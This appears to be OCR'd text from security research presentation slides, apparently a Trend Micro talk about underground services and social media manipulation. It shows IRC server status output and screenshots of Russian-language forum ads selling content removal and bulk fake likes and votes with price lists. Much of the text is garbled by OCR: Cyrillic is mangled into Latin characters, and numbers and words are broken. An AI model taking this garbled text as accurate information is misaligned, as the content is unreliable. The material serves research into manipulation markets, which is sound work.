00.28.113.233.80.T) 5 253 ..
00.28.113.233.80.T) 5 255 ...
00.28.113.233.80.T) S5 265 ..
00.28.113.233.80.T) 5 266 ...
00.28.113.233.80.T) 5 422 ...

WievjedQ (Sina Network .. WoojexQIBO T @ 140.109.20.x.
Whoujex() 160.28.113.233.80.T) 5.

W .

Whowje)

Whowje)

SMovjead |

WivjexQ Thereare 1 wsersand 327 invisble on 1 srvers,

SWxvjeQ 1 :operator(s online.
SWovjec 9 :unknown connection(s).

WiovjeD) 1 have 328 clients and 0 servers.

WvjeQ Current Local Users: 328 Max: 7145.

WiowjexQ Current Global sers 328 Max: 7145,
Wavjed) :MOT D File is mising.

0.27

180/

80 7 590 moloch
027 g5 7 e moloch
L 7 ol moloch
0.27 3N 7 o moloch
027 gp 6 il moloch
O pn 7 i moloch
L 7 i moloch
%), TREND,
B MICRDO



LEVEL 80: Persistence in the human brain - Abuse
of social networks to manipulate Human Decisions

weberaser.ru/en

AsTop suicideboy , 23 anp. 2017 14:33

ABOUT Us SERVICES PRICE TECHNOLOGY

AACTUK o

REQUEST

(PYCCKM¥) HALUIM KAMEHTDI

suicideboy

Vposers 2

Ultimate cleaning

2243

S

Intrigues of competitors do not give work quietly ? You
framed? Who - that offended you ? Your reputation is at

ea
8>

)

stake ? We we have been removing text data , any
information from the blog areas , forums, chat rooms
and other sites on the Internet .

kalino

%
0000
008729
GO0k O

Ornpasneno 14 03 2015 - 18:00

=77

Hakpymka 8 KOHKYpCcax

Aenaw:

u 20/10cosaHuAax!

vvv Kalino.biz vy
OTnnYHBIA Marasuh!

16 911
o + astopusayun yepes CoUCeETH
131673 Brouraxre, Facebook, O/, Twitter, ﬂnstagram
eItk | 28 2 + perucrpayua c noATBepXaeHuem no email
1670 204 9m

+ Kanya

+06asatensuan cmena IP u CTPOKU USeragent
+ BO3MOXHOCTL pacTaHYTh FONOCA NO BpeMeHn

LBeuna or 2py6 33 ronocC.

LleHa ot 1- 3 py6 3a ronoc. MuHumaneHblii 3aka3 400py6.

Q‘ Haxpyuy ot 100.000 8 INSTAGRAM 3a 150 py6neii! [AKLINSA!]

Otnpasneno 23 04 2017 - 14:33

Instoguowm
[LLEHbI MOHWUXXEHDI]
1000 naikos - 2 pyéns.
5000 naiikos - 10 py6nei.
10.000 naikos - 20 py6nei.

100.000 naiikos - 150 py6nei.
1.000.000 n1aiikoB - 1000 py6nei.

1KU UCKITIOYUTENBLHO OT XXMUBbIX AKKAYHTOB! HUKU PA3HBIE, HE

AJVBJJDF U TAKUE EMY, C ®OTO U NOCTAMMW.

BO3MOXXHA HAKPYTKA 3A OT3bIB!

KoHTakTbl ANA cBA3N - vi.com/waeroi

?
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Questions?

51


mailto:fyodor_yarochkin@trendmicro.com
mailto:fyodor_yarochkin@trendmicro.com
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